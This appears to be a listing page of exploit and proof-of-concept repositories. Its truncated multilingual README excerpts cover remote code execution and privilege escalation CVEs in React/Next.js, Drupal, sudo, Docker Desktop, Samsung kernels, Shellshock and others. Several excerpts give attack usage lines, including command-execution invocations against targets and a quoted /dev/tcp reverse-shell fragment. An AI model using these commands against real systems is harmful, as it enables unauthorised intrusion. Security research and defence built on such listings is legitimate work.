CVE-2025-55182-advanced-scanner-

Scanner CVE-2025-55182 Outil en ligne de commande simple pour détecter et exploiter la CVE-2025-55182 RCE des composants serveur React dans les applications Next.js. Installation chmod +x scanner.sh Utilisation Scan avec commande par défaut id ./scanner.sh -d example.com Exécuter une commande...

spring-retry-toolkit

This project provides declarative retry support for Spring applications. It is used in Spring Batch, Spring Integration, and others. Imperative retry is also supported for explicit usage. Version The version fix spring-retry with 2.0.13 for java8 and spring4 or spring5, For more information, plea...

CVE-2026-23918-Double-free-Apache-httpd-mod_http2

CVE-2026-23918 - إثبات المفهوم لـ Apache httpd modhttp2 يحتوي هذا المستودع على تنفيذ إثبات المفهوم مكتوب بلغة Go لسيناريو تلف الذاكرة قبل المصادقة يؤثر على Apache httpd مع modhttp2. يوضح الكود في هذا المستودع نهج الرش والتحفيز ضد هدف ضعيف وهو مخصص لأبحاث الأمن المصرح بها والاختبار والتحليل الدفاع...

react2shell-poc

React2Shell - PoC de CVE-2025-55182 Preuve de concept pour CVE-2025-55182 , une vulnérabilité critique non authentifiée d'exécution de code à distance dans les composants serveur React. Score CVSS : 10,0 Critique Vulnérabilité La vulnérabilité réside dans le désérialiseur du protocole Flight de...

CVE-2019-6340

CVE-2019-6340 CVE-2019-6340 POC Drupal rce python poc.py url php func command node number Пример: python poc.py http://192.168.142.148/drupal-8.6.9/ system ipconfig 200 Twitter: @0w4ys...

webauthn_tpm_portable

WebAuthn TPM Portable Credentials ⚠️ إثبات مفهوم مبكر. لم يتم اختبار هذا المشروع أو تدقيقه بشكل شامل. لا تستخدمه لأي شيء يتجاوز التجارب. مُعتمَدات WebAuthn/passkey محمولة ومدعومة بالأجهزة تعمل عبر أجهزة متعددة باستخدام TPM 2.0. عُرفت تقليديًا أن مُعتمَدات TPM مقفلة على الجهاز الذي أنشأها. هذا...

fetch-broker-conf

تكوين وسيط Fetch Broker سيحاول تكوين وسيط Fetch Broker تنزيل تكوين وسيط RocketMQ من أجل البحث عن مؤشرات الاختراق في المتغير rocketmqHome. يُستخدم هذا المتغير من قبل مهاجمين مختلفين لتنفيذ كود عبر CVE-2023-33246. للحصول على تفاصيل إضافية، راجع مدونة VulnCheck. التجميع يمكنك استخدام ملف makefile...

IonStack-S22U

CVE-2026-43499 - Samsung 5.10 Kernel Devices IonStack https://github.com/user-attachments/assets/f3d0858d-f8f5-444f-8ae5-541c2bc744c3 | ---|--- | While this repository originated as a device-specific port for the Galaxy S22 Ultra, the project has since shifted and expanded to support all Samsung...

CVE-2026-52616

CVE-2026-52616 — mcp-nmap-server: OS command injection via runnmapscan The runnmapscan MCP tool builds its command by string interpolation of the target and additionalFlags parameters and runs it through childprocess.exec, i.e. /bin/sh -c. ⚠ Read this first — duplicate identifier This vulnerabili...

ghostlock-s26

GhostLock CVE-2026-43499 for the Galaxy S26 CVE-2026-43499 ported to the Samsung Galaxy S26 series — Android 16 / GKI 6.12. One binary, three kernel lines, dynamic parameter matching at runtime: theoretically covers the whole S26 series without per-build compilation. Most GhostLock porting effort...

Hackers Exploit 24 IoT Vulnerabilities to Install ClingSTUN Linux Backdoor

Meet ClingSTUN, a new Linux backdoor that exploits IoT vulnerabilities, gives attackers remote command access and turns infected devices into proxy nodes...

CVE-2025-32463_chwoot

CVE-2025-32463 – sudo chroot "chwoot" PoC Ce dépôt fournit un environnement minimal et reproductible pour démontrer la faille d’élévation de privilèges CVE‑2025‑32463 dans la fonctionnalité chroot de sudo. Cette vulnérabilité a été signalée par Rich Mirch @0xm1rch sur X chez Stratascale. Article...

CVE-2025-9074-PoC

Docker API - RCE غير مصادق عليه CVE-2025-9074 تمكن ثغرة CVE-2025-9074 الحرجة في Docker Desktop حاويات Linux المحلية من الاتصال بـ Docker Engine API عبر الشبكة الفرعية الافتراضية 192.168.65.7:2375. تستمر المشكلة بغض النظر عن Enhanced Container Isolation ECI أو إعدادات TCP exposure. يتوفر كود Proof...

Exploit for Missing Authentication for Critical Function in Coreweave Marimo

CVE-2026-39987 - Marimo Pre-Auth RCE xpl0ited by infrar3dh...

CVE-2025-9491_POC

CVE-2025-9491 LNK Obfuscation PoC أداة إثبات مفهوم لاستغلال ثغرة الاختصارات LNK في ويندوز ZDI-CAN-25373/CVE-2025-9491. تُظهر هذه الأداة كيف يمكن إخفاء وسائط سطر الأوامر الخبيثة داخل ملفات .lnk باستخدام حشو بمسافات بيضاء. هذه الأداة مقدمة لأغراض تعليمية واختبارات أمنية مصرح بها فقط. الوصول غير...

comfyui-CVE-2026-68771-PoC

CVE-2026-68771 — ComfyUI : RCE non authentifiée via désérialisation non sécurisée À des fins éducatives uniquement. À n'utiliser que contre des systèmes que vous possédez ou pour lesquels vous disposez d'une autorisation écrite explicite de test. À propos de ComfyUI ComfyUI est une interface...

CVE-2026-19586

CVE-2026-19586 PoC TP-Link Omada SSL VPN RCE non authentifiée CVE-2026-19586 Aperçu Une vulnérabilité d'injection de commande CWE-78 dans le chemin d'authentification du SSL VPN du firmware des passerelles TP-Link Omada permet à un attaquant non authentifié d'exécuter des commandes arbitraires en...

CVE-2014-6271

Hellshocker 0.1.1 أداة لاستغلال ثغرة Shellshock هل سئمت من استخدام استغلالات ضعيفة لثغرة shellshock أو مجرد استخدام "/bin/bash & /dev/tcp/IP/port 0&1" للوصول إلى الخادم؟ نعم، تحتاج إلى رفع وتنفيذ شيء أكثر تعقيدًا على الخادم، وترميز ملف ضخم بقاعدة 64 base64 أمر مستحيل لأن طلب HTTP الخاص بك لن يُقب...

CVE-2018-6574

CVE-2018-6574 Exécution de commande à distance dans la commande Golang go get. CVE-2018-6574, cette vulnérabilité impacte la commande go get de Golang et permet à un attaquant d'exécuter du code sur un système en installant une bibliothèque malveillante. Cette vulnérabilité a été corrigée dans Go...

CVE-2025-55182-POC

CVE-2025-55182-POC React2Shell إثبات المفهوم الاستخدام: sudo python3 hehe.py -t -c مثال: ❯ sudo python3 hehe-t 12.05.12.05 -c "id" . .. . | \ | | / \ / || || | | | / || | | | | || | | | | | | | | / ^ \ | ,----'---| |----| | | | | ----| || | | | | | | | | / | | / /\ \ | | | | | | | | \ \ | | | | |...